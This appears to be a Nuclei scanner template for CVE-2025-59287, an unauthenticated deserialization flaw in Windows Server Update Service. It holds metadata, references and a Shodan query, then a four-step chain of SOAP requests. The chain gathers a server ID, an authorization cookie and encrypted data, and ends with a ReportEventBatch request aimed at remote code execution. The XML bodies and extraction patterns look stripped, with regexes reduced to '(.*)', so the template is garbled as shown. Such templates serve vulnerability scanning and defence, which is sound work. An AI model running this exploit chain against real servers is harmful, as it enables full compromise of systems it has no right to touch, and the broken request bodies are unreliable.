id: CVE-2025-59287 info: name: Windows Server Update Service - Insecure Deserialization author: pussycat0x,princechaddha severity: critical description: | Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise. impact: | Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code remotely on Windows Server Update Service systems, achieving complete server compromise. remediation: | Apply the Microsoft security patches as described in the MSRC update guide for Windows Server Update Service and restrict network access to WSUS endpoints. reference: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability - https://hawktrace.com/blog/CVE-2025-59287 - https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287 - https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-59287 cwe-id: CWE-502 epss-score: 0.72697 epss-percentile: 0.98794 cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: microsoft product: windows_server_update_service shodan-query: cpe:"cpe:2.3:o:microsoft:windows_server_2012" tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce variables: domain: "{{rand_text_alphanumeric(5)}}.local" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration" Content-Type: text/xml Content-Length: 331 matchers: - type: dsl dsl: - 'contains(body, "RollupResetGuid")' - 'contains(header, "text/xml")' - 'status_code == 200' condition: and internal: true extractors: - type: regex part: body name: ServerId group: 1 regex: - '(.*)' internal: true - raw: - | POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1 Host: {{Hostname}} SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie" Content-Type: text/xml Content-Length: 413 {{ServerId}} {{domain}} matchers: - type: dsl dsl: - 'contains(body, "CookieData")' - 'contains(header, "text/xml")' - 'status_code == 200' condition: and internal: true extractors: - type: regex part: body name: cookie group: 1 regex: - '(.*)' internal: true - raw: - | POST /ClientWebService/Client.asmx HTTP/1.1 Host: {{Hostname}} SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie" Content-Type: text/xml Content-Length: 413 SimpleTargeting {{cookie}} {{date_time("%Y-%M-%DT%H:%m:%sZ")}} {{date_time("%Y-%M-%DT%H:%m:%sZ")}} 1.20 matchers: - type: dsl dsl: - 'contains(body, "GetCookieResult")' - 'contains(header, "text/xml")' - 'status_code == 200' condition: and internal: true extractors: - type: regex part: body group: 1 name: EncryptedData regex: - (.*) internal: true - raw: - | POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1 Host: {{Hostname}} Accept: text/xml Connection: keep-alive Content-Type: text/xml SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch" Content-Length: 4464 {{date_time("%Y-%M-%DT%H:%m:%sZ")}} {{EncryptedData}} {{date_time("%Y-%M-%DT%H:%m:%sZ")}} 549743e5-8546-4f9d-b946-7948711f7b69 0 2025-10-29T08:41:54.069 a0ce0892-6046-4f21-856e-69ffa43876b9 2 389 301 00000000-0000-0000-0000-000000000000 0 0 LocalServer Administrator=SYSTEM {{randstr}} matchers: - type: dsl dsl: - 'contains(body, "ReportEventBatchResult>true")' - 'contains(header, "text/xml")' - 'status_code == 200' condition: and # digest: 4b0a004830460221008f8f8b173450ed551a161f36820935c2460242f29566bd9765e8499f2f5b4bba022100f9c9f698098b95ce304a16fdd8f8a445b0447d796e98873cf2bbdd1d3c0dbb69:922c64590222798bb761d5b6d8e72950